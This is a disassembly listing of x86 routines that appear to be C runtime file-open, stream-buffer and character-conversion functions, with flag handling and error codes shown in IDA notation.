		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 1
		test	eax, eax
		jz	short loc_43383D
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_433550
		add	esp, 4
		push	eax
		call	near ptr 278032Fh
		nop
		test	eax, eax
		jnz	short loc_433824
		call	near ptr 27B0F7Fh
		nop
		mov	[ebp+var_4], eax
		jmp	short loc_43382B
; ---------------------------------------------------------------------------


loc_433824:				; CODE XREF: sub_433790+87j
		mov	[ebp+var_4], 0


loc_43382B:				; CODE XREF: sub_433790+92j
		cmp	[ebp+var_4], 0
		jnz	short loc_433833
		jmp	short loc_43384F
; ---------------------------------------------------------------------------


loc_433833:				; CODE XREF: sub_433790+9Fj
		call	sub_42C1F0
		mov	edx, [ebp+var_4]
		mov	[eax], edx


loc_43383D:				; CODE XREF: sub_433790+70j
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43384F:				; CODE XREF: sub_433790+A1j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_43385E:				; CODE XREF: sub_433790+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_433790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433870	proc near		; CODE XREF: sub_429750+98p
					; sub_42BCB0+ECp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43F6F8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4E942C, 0
		jnz	short loc_4338EE
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_43F390
		push	1
		nop
		call	near ptr 277053Eh
		test	eax, eax
		jz	short loc_4338C2
		mov	dword_4E942C, 1
		jmp	short loc_4338EE
; ---------------------------------------------------------------------------


loc_4338C2:				; CODE XREF: sub_433870+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_43F38C
		push	1
		push	0
		call	near ptr 2780000h
		nop
		test	eax, eax
		jz	short loc_4338E7
		mov	dword_4E942C, 2
		jmp	short loc_4338EE
; ---------------------------------------------------------------------------


loc_4338E7:				; CODE XREF: sub_433870+69j
		xor	eax, eax
		jmp	loc_433A18
; ---------------------------------------------------------------------------


loc_4338EE:				; CODE XREF: sub_433870+2Dj
					; sub_433870+50j ...
		cmp	dword_4E942C, 2
		jnz	short loc_433925
		cmp	[ebp+arg_14], 0
		jnz	short loc_433906
		mov	edx, dword_4E92E4
		mov	[ebp+arg_14], edx


loc_433906:				; CODE XREF: sub_433870+8Bj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		nop
		call	near ptr 2780000h
		jmp	loc_433A18
; ---------------------------------------------------------------------------


loc_433925:				; CODE XREF: sub_433870+85j
		cmp	dword_4E942C, 1
		jnz	loc_433A16
		cmp	[ebp+arg_10], 0
		jnz	short loc_433941
		mov	edx, dword_4E92F4
		mov	[ebp+arg_10], edx


loc_433941:				; CODE XREF: sub_433870+C6j
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_18]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	near ptr 2910000h
		nop
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_433975
		xor	eax, eax
		jmp	loc_433A18
; ---------------------------------------------------------------------------


loc_433975:				; CODE XREF: sub_433870+FCj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_2C], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		shl	edx, 1
		push	edx
		push	0
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4339CB:				; CODE XREF: sub_433870+142j
		cmp	[ebp+var_24], 0
		jnz	short loc_4339D5
		xor	eax, eax
		jmp	short loc_433A18
; ---------------------------------------------------------------------------


loc_4339D5:				; CODE XREF: sub_433870+15Fj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	near ptr 2910000h
		nop
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_4339FE
		xor	eax, eax
		jmp	short loc_433A18
; ---------------------------------------------------------------------------


loc_4339FE:				; CODE XREF: sub_433870+188j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 277053Eh
		jmp	short loc_433A18
; ---------------------------------------------------------------------------


loc_433A16:				; CODE XREF: sub_433870+BCj
		xor	eax, eax


loc_433A18:				; CODE XREF: sub_433870+79j
					; sub_433870+B0j ...
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_433870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433A30	proc near		; CODE XREF: sub_429810+A1p
					; sub_42A430+137p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_433A37:				; CODE XREF: sub_433A30+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_433A5B
		push	offset dword_43E4A4
		push	0
		push	2Eh
		push	offset dword_43F704
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_433A5B
		int	3		; Trap to Debugger


loc_433A5B:				; CODE XREF: sub_433A30+Bj
					; sub_433A30+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_433A37
		mov	ecx, dword_4E9250
		add	ecx, 1
		mov	dword_4E9250, ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		push	3Bh
		push	offset dword_43F704
		push	2
		push	1000h
		call	sub_41EDD0
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_433AB6
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ecx, 8
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 1000h
		jmp	short loc_433ADB
; ---------------------------------------------------------------------------


loc_433AB6:				; CODE XREF: sub_433A30+69j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 4
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2


loc_433ADB:				; CODE XREF: sub_433A30+84j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_433A30	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+10h]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		add	ecx, 4
		mov	[ebp-8], ecx
		mov	edx, [ebp-8]
		mov	eax, [edx-4]
		mov	[ebp-4], eax
		mov	dword ptr [ebp-8], 0
		mov	ecx, [ebp-4]
		push	ecx
		push	40h
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_433B40
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433B40	proc near		; CODE XREF: sub_429EE0+2B0p
					; .XComp0:00433B33p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_24], 0Ch
		mov	[ebp+var_20], 0
		mov	eax, [ebp+arg_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_433B6D
		mov	[ebp+var_1C], 0
		mov	[ebp+var_38], 10h
		jmp	short loc_433B78
; ---------------------------------------------------------------------------


loc_433B6D:				; CODE XREF: sub_433B40+1Ej
		mov	[ebp+var_1C], 1
		mov	[ebp+var_38], 0


loc_433B78:				; CODE XREF: sub_433B40+2Bj
		mov	ecx, [ebp+arg_4]
		and	ecx, 8000h
		test	ecx, ecx
		jnz	short loc_433BB1
		mov	edx, [ebp+arg_4]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_433B9C
		mov	al, [ebp+var_38]
		or	al, 80h
		mov	[ebp+var_38], al
		jmp	short loc_433BB1
; ---------------------------------------------------------------------------


loc_433B9C:				; CODE XREF: sub_433B40+50j
		cmp	dword_4E949C, 8000h
		jz	short loc_433BB1
		mov	cl, [ebp+var_38]
		or	cl, 80h
		mov	[ebp+var_38], cl


loc_433BB1:				; CODE XREF: sub_433B40+43j
					; sub_433B40+5Aj ...
		mov	edx, [ebp+arg_4]
		and	edx, 3
		mov	[ebp+var_40], edx
		cmp	[ebp+var_40], 0
		jz	short loc_433BCE
		cmp	[ebp+var_40], 1
		jz	short loc_433BD7
		cmp	[ebp+var_40], 2
		jz	short loc_433BE0
		jmp	short loc_433BE9
; ---------------------------------------------------------------------------


loc_433BCE:				; CODE XREF: sub_433B40+7Ej
		mov	[ebp+var_34], 80000000h
		jmp	short loc_433C07
; ---------------------------------------------------------------------------


loc_433BD7:				; CODE XREF: sub_433B40+84j
		mov	[ebp+var_34], 40000000h
		jmp	short loc_433C07
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: sub_433B40+8Aj
		mov	[ebp+var_34], 0C0000000h
		jmp	short loc_433C07
; ---------------------------------------------------------------------------


loc_433BE9:				; CODE XREF: sub_433B40+8Cj
		call	sub_42C1E0
		mov	dword ptr [eax], 16h
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_43404A
; ---------------------------------------------------------------------------


loc_433C07:				; CODE XREF: sub_433B40+95j
					; sub_433B40+9Ej ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_44]
		sub	ecx, 10h
		mov	[ebp+var_44], ecx
		cmp	[ebp+var_44], 30h
		ja	short loc_433C52
		mov	eax, [ebp+var_44]
		xor	edx, edx
		mov	dl, byte_434062[eax]
		jmp	off_43404E[edx*4]


loc_433C2E:				; DATA XREF: .XComp0:off_43404Eo
		mov	[ebp+var_8], 0
		jmp	short loc_433C70
; ---------------------------------------------------------------------------


loc_433C37:				; CODE XREF: sub_433B40+E7j
					; DATA XREF: .XComp0:00434052o
		mov	[ebp+var_8], 1
		jmp	short loc_433C70
; ---------------------------------------------------------------------------


loc_433C40:				; CODE XREF: sub_433B40+E7j
					; DATA XREF: .XComp0:00434056o
		mov	[ebp+var_8], 2
		jmp	short loc_433C70
; ---------------------------------------------------------------------------


loc_433C49:				; CODE XREF: sub_433B40+E7j
					; DATA XREF: .XComp0:0043405Ao
		mov	[ebp+var_8], 3
		jmp	short loc_433C70
; ---------------------------------------------------------------------------


loc_433C52:				; CODE XREF: sub_433B40+DAj
					; sub_433B40+E7j
					; DATA XREF: ...
		call	sub_42C1E0
		mov	dword ptr [eax], 16h
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_43404A
; ---------------------------------------------------------------------------


loc_433C70:				; CODE XREF: sub_433B40+F5j
					; sub_433B40+FEj ...
		mov	ecx, [ebp+arg_4]
		and	ecx, 700h
		mov	[ebp+var_48], ecx
		cmp	[ebp+var_48], 400h
		jg	short loc_433CBC
		cmp	[ebp+var_48], 400h
		jz	short loc_433CD9
		cmp	[ebp+var_48], 200h
		jg	short loc_433CB1
		cmp	[ebp+var_48], 200h
		jz	short loc_433CF4
		cmp	[ebp+var_48], 0
		jz	short loc_433CD9
		cmp	[ebp+var_48], 100h
		jz	short loc_433CE2
		jmp	short loc_433D06
; ---------------------------------------------------------------------------


loc_433CB1:				; CODE XREF: sub_433B40+155j
		cmp	[ebp+var_48], 300h
		jz	short loc_433CFD
		jmp	short loc_433D06
; ---------------------------------------------------------------------------


loc_433CBC:				; CODE XREF: sub_433B40+143j
		cmp	[ebp+var_48], 500h
		jz	short loc_433CEB
		cmp	[ebp+var_48], 600h
		jz	short loc_433CF4
		cmp	[ebp+var_48], 700h
		jz	short loc_433CEB
		jmp	short loc_433D06
; ---------------------------------------------------------------------------


loc_433CD9:				; CODE XREF: sub_433B40+14Cj
					; sub_433B40+164j
		mov	[ebp+var_18], 3
		jmp	short loc_433D24
; ---------------------------------------------------------------------------


loc_433CE2:				; CODE XREF: sub_433B40+16Dj
		mov	[ebp+var_18], 4
		jmp	short loc_433D24
; ---------------------------------------------------------------------------


loc_433CEB:				; CODE XREF: sub_433B40+183j
					; sub_433B40+195j
		mov	[ebp+var_18], 1
		jmp	short loc_433D24
; ---------------------------------------------------------------------------


loc_433CF4:				; CODE XREF: sub_433B40+15Ej
					; sub_433B40+18Cj
		mov	[ebp+var_18], 5
		jmp	short loc_433D24
; ---------------------------------------------------------------------------


loc_433CFD:				; CODE XREF: sub_433B40+178j
		mov	[ebp+var_18], 2
		jmp	short loc_433D24
; ---------------------------------------------------------------------------


loc_433D06:				; CODE XREF: sub_433B40+16Fj
					; sub_433B40+17Aj ...
		call	sub_42C1E0
		mov	dword ptr [eax], 16h
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_43404A
; ---------------------------------------------------------------------------


loc_433D24:				; CODE XREF: sub_433B40+1A0j
					; sub_433B40+1A9j ...
		mov	[ebp+var_28], 80h
		mov	edx, [ebp+arg_4]
		and	edx, 100h
		test	edx, edx
		jz	short loc_433D75
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		add	ecx, 4
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx-4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_2C], 0
		mov	ecx, dword_4E91F4
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		and	edx, 80h
		test	edx, edx
		jnz	short loc_433D75
		mov	[ebp+var_28], 1


loc_433D75:				; CODE XREF: sub_433B40+1F6j
					; sub_433B40+22Cj
		mov	eax, [ebp+arg_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_433D97
		mov	ecx, [ebp+var_28]
		or	ecx, 4000000h
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_34]
		or	edx, 10000h
		mov	[ebp+var_34], edx


loc_433D97:				; CODE XREF: sub_433B40+23Dj
		mov	eax, [ebp+arg_4]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_433DAC
		mov	ecx, [ebp+var_28]
		or	ch, 1
		mov	[ebp+var_28], ecx


loc_433DAC:				; CODE XREF: sub_433B40+261j
		mov	edx, [ebp+arg_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_433DC3
		mov	eax, [ebp+var_28]
		or	eax, 8000000h
		mov	[ebp+var_28], eax
		jmp	short loc_433DD9
; ---------------------------------------------------------------------------


loc_433DC3:				; CODE XREF: sub_433B40+274j
		mov	ecx, [ebp+arg_4]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_433DD9
		mov	edx, [ebp+var_28]
		or	edx, 10000000h
		mov	[ebp+var_28], edx


loc_433DD9:				; CODE XREF: sub_433B40+281j
					; sub_433B40+28Bj
		call	sub_4331C0
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_433E05
		call	sub_42C1E0
		mov	dword ptr [eax], 18h
		call	sub_42C1F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_43404A
; ---------------------------------------------------------------------------


loc_433E05:				; CODE XREF: sub_433B40+2A5j
		push	0
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		lea	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_34]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		nop
		call	near ptr 28713A9h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_433E51
		nop
		call	near ptr 27B0F7Fh
		push	eax
		call	sub_42C140
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_433760
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_43404A
; ---------------------------------------------------------------------------


loc_433E51:				; CODE XREF: sub_433B40+2ECj
		mov	ecx, [ebp+var_4]
		push	ecx
		nop
		call	near ptr 2790000h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_433E91
		mov	edx, [ebp+var_4]
		push	edx
		nop
		call	near ptr 2790578h
		nop
		call	near ptr 27B0F7Fh
		push	eax
		call	sub_42C140
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_433760
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_43404A
; ---------------------------------------------------------------------------


loc_433E91:				; CODE XREF: sub_433B40+322j
		cmp	[ebp+var_C], 2
		jnz	short loc_433EA2
		mov	cl, [ebp+var_38]
		or	cl, 40h
		mov	[ebp+var_38], cl
		jmp	short loc_433EB1
; ---------------------------------------------------------------------------


loc_433EA2:				; CODE XREF: sub_433B40+355j
		cmp	[ebp+var_C], 3
		jnz	short loc_433EB1
		mov	dl, [ebp+var_38]
		or	dl, 8
		mov	[ebp+var_38], dl


loc_433EB1:				; CODE XREF: sub_433B40+360j
					; sub_433B40+366j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_4333B0
		add	esp, 8
		mov	dl, [ebp+var_38]
		or	dl, 1
		mov	[ebp+var_38], dl
		mov	eax, [ebp+var_14]
		sar	eax, 5
		mov	ecx, [ebp+var_14]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	al, [ebp+var_38]
		mov	[edx+ecx+4], al
		movsx	ecx, [ebp+var_38]
		and	ecx, 48h
		test	ecx, ecx
		jnz	loc_433FEF
		movsx	edx, [ebp+var_38]
		and	edx, 80h
		test	edx, edx
		jz	loc_433FEF
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	loc_433FEF
		push	2
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_430180
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_433F61
		call	sub_42C1F0
		cmp	dword ptr [eax], 83h
		jz	short loc_433F5C
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_4253C0
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_433760
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_43404A
; ---------------------------------------------------------------------------


loc_433F5C:				; CODE XREF: sub_433B40+3FAj
		jmp	loc_433FEF
; ---------------------------------------------------------------------------


loc_433F61:				; CODE XREF: sub_433B40+3EDj
		mov	[ebp+var_30], 0
		push	1
		lea	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_429A90
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_433FB9
		movsx	eax, [ebp+var_30]
		cmp	eax, 1Ah
		jnz	short loc_433FB9
		mov	ecx, [ebp+var_3C]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_437FD0
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433FB9
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4253C0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_433760
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_43404A
; ---------------------------------------------------------------------------


loc_433FB9:				; CODE XREF: sub_433B40+439j
					; sub_433B40+442j ...
		push	0
		push	0
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_430180
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_433FEF
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4253C0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_433760
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_43404A
; ---------------------------------------------------------------------------


loc_433FEF:				; CODE XREF: sub_433B40+3B0j
					; sub_433B40+3C2j ...
		movsx	edx, [ebp+var_38]
		and	edx, 48h
		test	edx, edx
		jnz	short loc_43403B
		mov	eax, [ebp+arg_4]
		and	eax, 8
		test	eax, eax
		jz	short loc_43403B
		mov	ecx, [ebp+var_14]
		sar	ecx, 5
		mov	edx, [ebp+var_14]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 20h
		mov	edx, [ebp+var_14]
		sar	edx, 5
		mov	eax, [ebp+var_14]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4E95A0[edx*4]
		mov	[edx+eax+4], cl


loc_43403B:				; CODE XREF: sub_433B40+4B8j
					; sub_433B40+4C2j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp+var_14]


loc_43404A:				; CODE XREF: sub_433B40+C2j
					; sub_433B40+12Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_433B40	endp

; ---------------------------------------------------------------------------
off_43404E	dd offset loc_433C2E	; DATA XREF: sub_433B40+E7r
		dd offset loc_433C37
		dd offset loc_433C40
		dd offset loc_433C49
		dd offset loc_433C52
byte_434062	db 0			; DATA XREF: sub_433B40+E1r
		db 4
		dd 3 dup(4040404h), 4010404h, 3	dup(4040404h), 4020404h
		dd 3 dup(4040404h), 0CC030404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4340A0	proc near		; CODE XREF: sub_42A430+127p
					; sub_42C200+40p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E96A0
		jb	short loc_4340B2
		xor	eax, eax
		jmp	short loc_4340D0
; ---------------------------------------------------------------------------


loc_4340B2:				; CODE XREF: sub_4340A0+Cj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	eax, byte ptr [eax+edx+4]
		and	eax, 40h


loc_4340D0:				; CODE XREF: sub_4340A0+10j
		pop	ebp
		retn
sub_4340A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4340E0	proc near		; CODE XREF: sub_42A6B0+3CAp
					; sub_42A6B0+B90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4E96A8
		nop
		call	near ptr 2950B3Fh
		cmp	dword_4E96A4, 0
		jz	short loc_434118
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop
		push	13h
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_43411F
; ---------------------------------------------------------------------------


loc_434118:				; CODE XREF: sub_4340E0+18j
		mov	[ebp+var_4], 0


loc_43411F:				; CODE XREF: sub_4340E0+36j
		mov	ax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_434160
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_434145
		push	13h
		call	sub_425A30
		add	esp, 4
		jmp	short loc_434150
; ---------------------------------------------------------------------------


loc_434145:				; CODE XREF: sub_4340E0+57j
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop


loc_434150:				; CODE XREF: sub_4340E0+63j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4340E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434160	proc near		; CODE XREF: sub_4340E0+48p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_434173
		xor	eax, eax
		jmp	loc_4341FC
; ---------------------------------------------------------------------------


loc_434173:				; CODE XREF: sub_434160+Aj
		cmp	dword_4E92E4, 0
		jnz	short loc_4341AA
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 0FFh
		jle	short loc_43419B
		call	sub_42C1E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4341FC
; ---------------------------------------------------------------------------


loc_43419B:				; CODE XREF: sub_434160+29j
		mov	ecx, [ebp+arg_0]
		mov	dl, byte ptr [ebp+arg_4]
		mov	[ecx], dl
		mov	eax, 1
		jmp	short loc_4341FC
; ---------------------------------------------------------------------------


loc_4341AA:				; CODE XREF: sub_434160+1Aj
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, dword_4524F0
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	220h
		mov	ecx, dword_4E92F4
		push	ecx
		nop
		call	near ptr 290039Dh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4341E9
		cmp	[ebp+var_8], 0
		jz	short loc_4341F9


loc_4341E9:				; CODE XREF: sub_434160+81j
		call	sub_42C1E0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4341FC
; ---------------------------------------------------------------------------


loc_4341F9:				; CODE XREF: sub_434160+87j
		mov	eax, [ebp+var_4]


loc_4341FC:				; CODE XREF: sub_434160+Ej
					; sub_434160+39j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_434160	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434200	proc near		; CODE XREF: sub_42C5E0+74Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4E96A8
		call	near ptr 2950B3Fh
		nop
		cmp	dword_4E96A4, 0
		jz	short loc_434238
		push	offset dword_4E96A8
		nop
		call	near ptr 2950A89h
		push	13h
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_43423F
; ---------------------------------------------------------------------------


